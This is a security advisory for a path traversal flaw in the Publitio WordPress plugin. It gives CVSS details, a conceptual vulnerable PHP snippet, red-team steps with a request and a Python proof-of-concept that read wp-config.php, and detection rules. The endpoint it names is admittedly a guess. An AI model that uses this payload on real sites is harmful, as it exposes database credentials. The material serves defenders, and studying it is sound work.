CVE-2025-31800
Executive Summary
CVE-2025-31800 is a Path Traversal vulnerability (CWE-22) affecting the Publitio WordPress plugin, version 2.2.0 and below. This vulnerability allows an unauthenticated attacker to read arbitrary files on the server by manipulating file paths, potentially exposing sensitive configuration files, database credentials, or source code. The CVSS score is 6.5 (Medium), with a network attack vector and no required privileges. No public exploit code or patch is currently available, but the risk is significant due to the ease of exploitation and potential for data exfiltration.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed Publitio from the WordPress dashboard or via direct download are affected. Since no patch is available, the supply chain risk is elevated—users must either remove the plugin or implement strict web application firewall (WAF) rules to mitigate the threat.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality (C): High (H) – Full file read access.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. While the CVSS score is 6.5, the lack of authentication and the potential to read sensitive files (e.g., wp-config.php) elevates the real-world risk. An attacker can chain this with other vulnerabilities for privilege escalation or lateral movement.
Deep Dive & Mechanics
The vulnerability exists in the Publitio plugin’s file handling logic. The plugin fails to properly sanitize user-supplied input used in file path construction. By injecting path traversal sequences (e.g., ../), an attacker can escape the intended directory and read arbitrary files from the server’s filesystem.
Root Cause: The plugin uses a parameter (likely file or path) to specify which file to serve or process. This parameter is passed directly to functions like file_get_contents(), readfile(), or include() without validation against a whitelist of allowed paths.
Attack Vector: An unauthenticated HTTP GET request to a vulnerable endpoint (e.g., /wp-content/plugins/publitio/download.php?file=../../../wp-config.php).
Impact: Full read access to any file the web server user can read, including:
- WordPress configuration (
wp-config.php) – database credentials, salts. - Server configuration files (e.g.,
.htaccess,nginx.conf). - Other plugin/theme source code.
- System files (e.g.,
/etc/passwd).
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern and the expected fix.
Vulnerable Code (Conceptual):
<?php
$file = $_GET['file'];
$content = file_get_contents($file);
echo $content;
?>
Patched Code (Expected):
<?php
$allowed_dir = realpath(__DIR__ . '/uploads');
$file = realpath($allowed_dir . '/' . basename($_GET['file']));
if (strpos($file, $allowed_dir) === 0) {
$content = file_get_contents($file);
echo $content;
} else {
die('Invalid file.');
}
?>
The patched version uses realpath() to resolve the full path and then checks that it starts with the allowed directory. It also uses basename() to strip directory traversal sequences.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Install WordPress with Publitio plugin version 2.2.0.
- Ensure the plugin is active and accessible.
Exploitation Steps:
- Identify the vulnerable endpoint (e.g.,
/wp-content/plugins/publitio/download.php). - Craft a request to read sensitive files:
GET /wp-content/plugins/publitio/download.php?file=../../../wp-config.php HTTP/1.1 Host: target.com - The response will contain the contents of
wp-config.php.
Proof-of-Concept (PoC) Script:
import requests
target = "http://target.com/wp-content/plugins/publitio/download.php"
payload = "../../../wp-config.php"
response = requests.get(target, params={"file": payload})
print(response.text)
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests containing
../or..\\in query parameters. - Look for requests to Publitio plugin files with suspicious file parameters.
Defense:
- Immediately disable or remove the Publitio plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
- Restrict file permissions so the web server user cannot read sensitive files.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
../in thefileparameter targeting Publitio endpoints. - Unusual outbound data transfers from the web server (e.g., large responses to file read requests).
- HTTP requests containing
File System IOCs:
- Unexpected access to
wp-config.phpor other sensitive files. - Modified or newly created files in the web root (e.g., backdoor scripts).
- Unexpected access to
Log IOCs:
- Web server logs showing
404or200responses for path traversal attempts. - Error logs indicating failed file inclusion attempts.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_31800_Publitio_Path_Traversal {
meta:
description = "Detects path traversal attempts against Publitio plugin"
author = "Valters IT"
date = "2025-04-17"
cve = "CVE-2025-31800"
strings:
$traversal = /\.\.\/|\.\.\\/
$publitio = /publitio/i
condition:
$publitio and $traversal
}
Sigma Rule
title: Publitio Path Traversal Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3a1d4f5e6c
status: experimental
description: Detects HTTP requests with path traversal patterns targeting Publitio plugin
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- '..%2f'
- '..%5c'
- '../'
- '..\\'
cs-uri-stem|contains: 'publitio'
condition: selection
falsepositives:
- Legitimate use of '..' in file names (rare)
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-31800 Publitio Path Traversal Attempt";
flow:to_server,established;
content:"publitio"; http_uri;
pcre:"/\.\.\/|\.\.\\/Ui";
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Publitio plugin until a patched version is released.
- Implement a WAF rule to block path traversal patterns (e.g.,
../,..\\, URL-encoded variants). - Review server logs for signs of exploitation.
Long-Term Fix:
- The vendor must release a patched version that validates file paths against a whitelist.
- Users should monitor the Publitio plugin page for updates.
Compensating Controls:
- Restrict file permissions so the web server user cannot read sensitive files.
- Use a security plugin (e.g., Wordfence) to detect and block path traversal attempts.
- Enable PHP
open_basedirto restrict file access to specific directories.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.